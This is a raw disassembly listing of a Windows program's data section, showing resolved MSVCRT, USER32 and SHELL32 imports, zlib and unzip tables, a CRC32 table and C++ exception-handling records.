dword_4331F8 dd 77C478A0h ; resolved to->MSVCRT.strlendword_4331FC dd 77C46030h ; resolved to->MSVCRT.strcpydword_433200 dd 77C31FBDh ; resolved to->MSVCRT._mbsnbcpydword_433204 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_433208 dd 77C2C0C3h ; resolved to->MSVCRT.callocdword_43320C dd 77C47730h ; resolved to->MSVCRT.strcmpdword_433210 dd 77C4AA2Dh ; resolved to->MSVCRT.gmtimedword_433214 dd 77C32BB0h ; resolved to->MSVCRT._mbsstrdword_433218 dd 77C21868h dword_43321C dd 77C34E51h ; resolved to->MSVCRT.__dllonexitdword_433220 dd 77C34DF8h ; resolved to->MSVCRT._onexitdword_433224 dd 77C39E9Ah ; resolved to->MSVCRT._exitdword_433228 dd 77C32DAEh ; resolved to->MSVCRT._XcptFilterdword_43322C dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_433230 dd 77C1EEEBh ; resolved to->MSVCRT.__getmainargsdword_433234 dd 77C617ACh ; resolved to->MSVCRT._acmdlndword_433238 dd 77C39D67h ; resolved to->MSVCRT._inittermdword_43323C dd 77C4D675h ; resolved to->MSVCRT.__setusermatherrdword_433240 dd 77C623D8h ; resolved to->MSVCRT._adjust_fdivdword_433244 dd 77C1F1A4h ; resolved to->MSVCRT.__p__commodedword_433248 dd 77C1F1DBh ; resolved to->MSVCRT.__p__fmodedword_43324C dd 77C3537Ch ; resolved to->MSVCRT.__set_app_typedword_433250 dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_433254 dd 77C411FBh ; resolved to->MSVCRT.freaddword_433258 dd 77C4EE2Fh ; resolved to->MSVCRT._controlfp align 10h
dword_433260 dd 77126BFFh dword_433264 dd 77124920h ; sub_429C40+Br ...
dword_433268 dd 77124980h dword_43326C dd 77124CFAh dword_433270 dd 77124C98h dword_433274 dd 77124880h ; sub_42852F+720r ...
dword_433278 dd 77124C7Eh ; sub_429A50+17r
dword_43327C dd 7712A63Fh dword_433280 dd 77124C05h align 8
dword_433288 dd 7CA70964h ; resolved to->SHELL32.SHFileOperationA ; sub_421C92+BBr ...
align 10h
dword_433290 dd 7E41C66Eh ; resolved to->USER32.CopyRectdword_433294 dd 7E41C4A9h ; resolved to->USER32.EqualRectdword_433298 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_424B41+2C8r ...
dword_43329C dd 7E418D2Bh ; resolved to->USER32.CharUpperA dd 0
dword_4332A4 dd 774FEE36h dword_4332A8 dd 775561BAh dword_4332AC dd 774FFAC3h ; sub_429EB0+93r
dword_4332B0 dd 77502A37h ; sub_42948F+E5r
align 8
byte_4332B8 db 90h ; DATA XREF: sub_42852F+783o
db 0BFh, 33h, 29h
dd 11D27B36h, 0C0000EB2h, 603E984Fh
off_4332C8 dd offset sub_4219B0 ; DATA XREF: sub_421000+14o
; sub_421021+Ao
off_4332CC dd offset sub_4229F0 ; DATA XREF: sub_4226B0+Ao
; sub_4226C7+Ao ...
off_4332D0 dd offset aNeedDictiona_0 ; DATA XREF: TEUm:0042DC2Cr
; "need dictionary"
dd offset aStreamEnd ; "stream end"
dd offset dword_43BD48
dd offset aFileError ; "file error"
dd offset aStreamError ; "stream error"
dd offset aDataError ; "data error"
dd offset aInsufficientMe ; "insufficient memory"
dd offset aBufferError ; "buffer error"
dd offset aIncompatibleVe ; "incompatible version"
dd offset dword_43BD4C
dword_4332F8 dd 0 ; sub_42A2DE+464r ...
dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh
dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh, 0
dword_433340 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh
; DATA XREF: sub_42D0BB+18o
dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h
dd 800h, 20h, 900h, 0A0h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h
dd 0A1h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_434340 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5
; DATA XREF: sub_42D0BB+21o
dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h
dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h
dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h
dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4
dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah
dd 0C01h, 556h, 0C1h, 5C0h, 6001h
dword_434440 dd 10h ; sub_42B1FD+A13r
dd 11h, 12h, 0
dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
dd 0Fh
aInflate1_1_3Co db ' inflate 1.1.3 Copyright 1995-1998 Mark Adler ',0
align 4
dword_4344BC dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
; DATA XREF: sub_42CF36+50o
dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h
dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_434538 dd 8 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
dd 2 dup(70h)
dword_4345B4 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h
; DATA XREF: sub_42CF36+D9o
dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h
dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h
dword_43462C dd 4 dup(0) dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
dd 2 dup(0Ch), 2 dup(0Dh)
dword_4346A4 dd 0 ; sub_42D7C5+3Ar ...
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_434AA4 db 20h ; DATA XREF: sub_42ED22:loc_42ED3Ar
aUnzip0_15Copyr db 'unzip 0.15 Copyright 1998 Gilles Vollant ',0
align 10h
dd offset dword_434B20
off_434AD4 dd offset sub_43182F ; DATA XREF: TEUm:00437020o
; TEUm:off_437030o ...
dword_434AD8 dd 0FFFFFFFFh, 431A58h, 431A6Ch, 434B68hoff_434AE8 dd offset sub_429CC0 ; DATA XREF: sub_429C60+26o
; sub_429CF0+Ao ...
align 10h
off_434AF0 dd offset off_437C20 ; DATA XREF: TEUm:00434B08o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_434AF0
dword_434B0C dd 3 dup(0) dd 1, 434B08h
dword_434B20 dd 3 dup(0) dd offset off_437C20
dd offset dword_434B0C+4
align 8
off_434B38 dd offset off_437C58 ; DATA XREF: TEUm:00434B50o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_434B38
dd 0
db 0 ; DATA XREF: TEUm:00434B78o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 434B50h, 3 dup(0)
dd offset off_437C58
dd offset unk_434B58
align 10h
dword_434B80 dd 19930520h, 2, 434BA0h, 1, 434BB0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434BC8h, 4 dup(0)
dd offset loc_42119D
dword_434BD8 dd 19930520h, 2, 434BF8h, 1, 434C08h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434C20h, 4 dup(0)
dd offset loc_421245
dword_434C30 dd 19930520h, 3, 434C50h, 1, 434C68h, 3 dup(0) dd 0FFFFFFFFh, 431D14h, 4 dup(0)
dd 2 dup(1), 2, 1, 434C80h, 4 dup(0)
dd offset loc_421402
dword_434C90 dd 19930520h, 2, 434CB0h, 1, 434CC0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434CD8h, 4 dup(0)
dd offset loc_4215A1
dword_434CE8 dd 19930520h, 2, 434D08h, 1, 434D18h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434D30h, 4 dup(0)
dd offset loc_4217D7
dword_434D40 dd 19930520h, 2, 434D60h, 1, 434D70h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434D88h, 4 dup(0)
dd offset loc_421966
dd 1, 437020h, 0
dd 0FFFFFFFFh, 0
dd 4, 2 dup(0)
dword_434DB8 dd 1, 434D98h dword_434DC0 dd 3 dup(0) ; TEUm:004212E6o ...
dd offset dword_434DB8
dword_434DD0 dd 19930520h, 2, 434DF0h, 1, 434E00h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434E18h, 2 dup(0)
dd offset off_437030
dd 0FFFFFEC0h, 421D58h
dword_434E28 dd 19930520h, 4, 434E48h, 5 dup(0) dd 0FFFFFFFFh, 431D75h, 0
dd offset sub_431D5A
dd 1, 431D63h, 2, 431D6Ch
dword_434E68 dd 19930520h, 0Bh, 434E88h, 5 dup(0) dd 0FFFFFFFFh, 431D98h, 0
dd offset loc_431DA0
dd 1, 431DABh, 2, 431DB6h, 3, 431DC1h, 4, 431DCCh, 5, 431DD7h
dd 6, 431DE2h, 7, 431DEDh, 8, 431DFBh, 9, 431E03h
dword_434EE0 dd 19930520h, 8, 434F00h, 5 dup(0) dd 0FFFFFFFFh, 431E18h, 0
dd offset loc_431E20
dd 1, 431E2Bh, 2, 431E36h, 3, 431E41h, 4, 431E4Ch, 5, 431E57h
dd 6, 431E62h
dword_434F40 dd 19930520h, 2, 434F60h, 1, 434F70h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 434F88h, 4 dup(0)
dd offset loc_422F06
dword_434F98 dd 19930520h, 3, 434FB8h, 5 dup(0) dd 0FFFFFFFFh, 431E94h, 0
dd offset loc_431E84
dd 1, 431E8Ch
dword_434FD0 dd 19930520h, 4, 434FF0h, 5 dup(0) dd 0FFFFFFFFh, 431ED0h, 0
dd offset loc_431EB8
dd 1, 431EC0h, 2, 431EC8h
dword_435010 dd 19930520h, 20h, 435030h, 5 dup(0) dd 0FFFFFFFFh, 431EF4h, 0
dd offset loc_431EFC
dd 1, 431F04h, 1, 431F0Fh, 1, 431F1Ah, 1, 431F25h, 1, 431F30h
dd 1, 431F38h, 1, 431F43h, 1, 431F4Bh, 1, 431F56h, 1, 431F61h
dd 1, 431F69h, 1, 431F74h, 1, 431F7Ch, 0Eh, 431F84h, 0Fh
dd 431F8Ch, 0Fh, 431F97h, 0Fh, 431FA2h, 0Fh, 431FADh, 0Fh
dd 431FB8h, 0Fh, 431FC3h, 0Fh, 431FCEh, 0Fh, 431FD9h, 0Fh
dd 431FE4h, 0Fh, 431FECh, 0Fh, 431FF4h, 0Fh, 431FFCh, 0Fh
dd 432004h, 0Fh, 43200Ch, 0Fh, 432017h, 0Fh, 432022h
dword_435130 dd 19930520h, 1, 435150h, 5 dup(0) dd 0FFFFFFFFh, 432038h
dword_435158 dd 19930520h, 1, 435178h, 5 dup(0) dd 0FFFFFFFFh, 43204Ch
dword_435180 dd 19930520h, 4, 4351A0h, 5 dup(0) dd 0FFFFFFFFh, 432060h, 0
dd offset loc_432068
dd 1, 432070h, 1, 432078h
dword_4351C0 dd 19930520h, 0Eh, 4351E0h, 5 dup(0) dd 0FFFFFFFFh, 43208Ch, 0
dd offset loc_432094
dd 0FFFFFFFFh, 43209Ch, 2, 4320A4h, 3, 4320ACh, 3, 4320B4h
dd 3, 4320BCh, 3, 4320C4h, 7, 4320CCh, 8, 4320D4h, 7, 4320DCh
dd 7, 4320E4h, 7, 4320EFh, 7, 4320F7h
dword_435250 dd 19930520h, 2, 435270h, 5 dup(0) dd 0FFFFFFFFh, 43210Ch, 0
dd offset loc_432114
dword_435280 dd 19930520h, 0Bh, 4352A0h, 5 dup(0) dd 0FFFFFFFFh, 432128h, 0
dd offset loc_432130
dd 1, 432138h, 2, 432140h, 3, 43214Bh, 3, 432153h, 3, 43215Bh
dd 6, 432166h, 6, 43216Eh, 6, 432176h, 9, 432181h
dword_4352F8 dd 19930520h, 0Ah, 435318h, 5 dup(0) dd 0FFFFFFFFh, 432194h, 0
dd offset loc_43219C
dd 1, 4321A4h, 2, 4321ACh, 2, 4321B4h, 4, 4321BCh, 5, 4321C4h
dd 6, 4321CCh, 6, 4321D4h, 8, 4321DCh
dword_435368 dd 19930520h, 6, 435388h, 5 dup(0) dd 0FFFFFFFFh, 432218h, 0
dd offset loc_4321F0
dd 1, 4321F8h, 1, 432200h, 3, 432208h, 4, 432210h
dword_4353B8 dd 19930520h, 2, 4353D8h, 5 dup(0) dd 0FFFFFFFFh, 43223Ch, 0
dd offset loc_432244
dword_4353E8 dd 19930520h, 6, 435408h, 5 dup(0) dd 0FFFFFFFFh, 432280h, 0
dd offset loc_432258
dd 1, 432260h, 1, 432268h, 3, 432270h, 4, 432278h
dword_435438 dd 19930520h, 6, 435458h, 5 dup(0) dd 0FFFFFFFFh, 4322CCh, 0
dd offset loc_4322A4
dd 1, 4322ACh, 1, 4322B4h, 3, 4322BCh, 4, 4322C4h
dword_435488 dd 19930520h, 8, 4354A8h, 5 dup(0) dd 0FFFFFFFFh, 4322F0h, 0
dd offset loc_4322F8
dd 1, 432300h, 1, 432308h, 3, 432310h, 4, 432318h, 4, 432320h
dd 6, 432328h
dword_4354E8 dd 19930520h, 6, 435508h, 5 dup(0) dd 0FFFFFFFFh, 43233Ch, 0
dd offset loc_432344
dd 1, 43234Ch, 1, 432354h, 3, 43235Ch, 4, 432364h
dword_435538 dd 19930520h, 6, 435558h, 5 dup(0) dd 0FFFFFFFFh, 4323A0h, 0
dd offset loc_432378
dd 1, 432380h, 1, 432388h, 3, 432390h, 4, 432398h
dword_435588 dd 19930520h, 3, 4355A8h, 5 dup(0) dd 0FFFFFFFFh, 4323C4h, 0
dd offset loc_4323CC
dd 1, 4323D4h
dword_4355C0 dd 19930520h, 15h, 4355E0h, 5 dup(0) dd 0FFFFFFFFh, 4323E8h, 0
dd offset loc_4323F0
dd 1, 4323F8h, 2, 432400h, 3, 432408h, 3, 432410h, 3, 432418h
dd 6, 432420h, 3, 432428h, 3, 432430h, 3, 432438h, 0Ah
dd 432440h, 0Bh, 432448h, 0Bh, 432450h, 0Dh, 432458h, 0Eh
dd 432460h, 0Dh, 0
dd 0Dh, 0
dd 0Dh, 432468h, 0Dh, 0
dd 0Dh, 0
dword_435688 dd 19930520h, 2, 4356A8h, 1, 4356B8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4356D0h, 4 dup(0)
dd offset sub_426490
dword_4356E0 dd 19930520h, 1, 435700h, 5 dup(0) dd 0FFFFFFFFh, 432490h
dword_435708 dd 19930520h, 4, 435728h, 5 dup(0) dd 0FFFFFFFFh, 4324A3h, 0
dd offset loc_4324AC
dd 1, 4324B5h, 1, 4324BEh
dword_435748 dd 19930520h, 3, 435768h, 5 dup(0) dd 0FFFFFFFFh, 4324D1h, 0
dd offset loc_4324DA
dd 1, 4324E6h
dword_435780 dd 19930520h, 7, 4357A0h, 5 dup(0) dd 0FFFFFFFFh, 4324FCh, 0
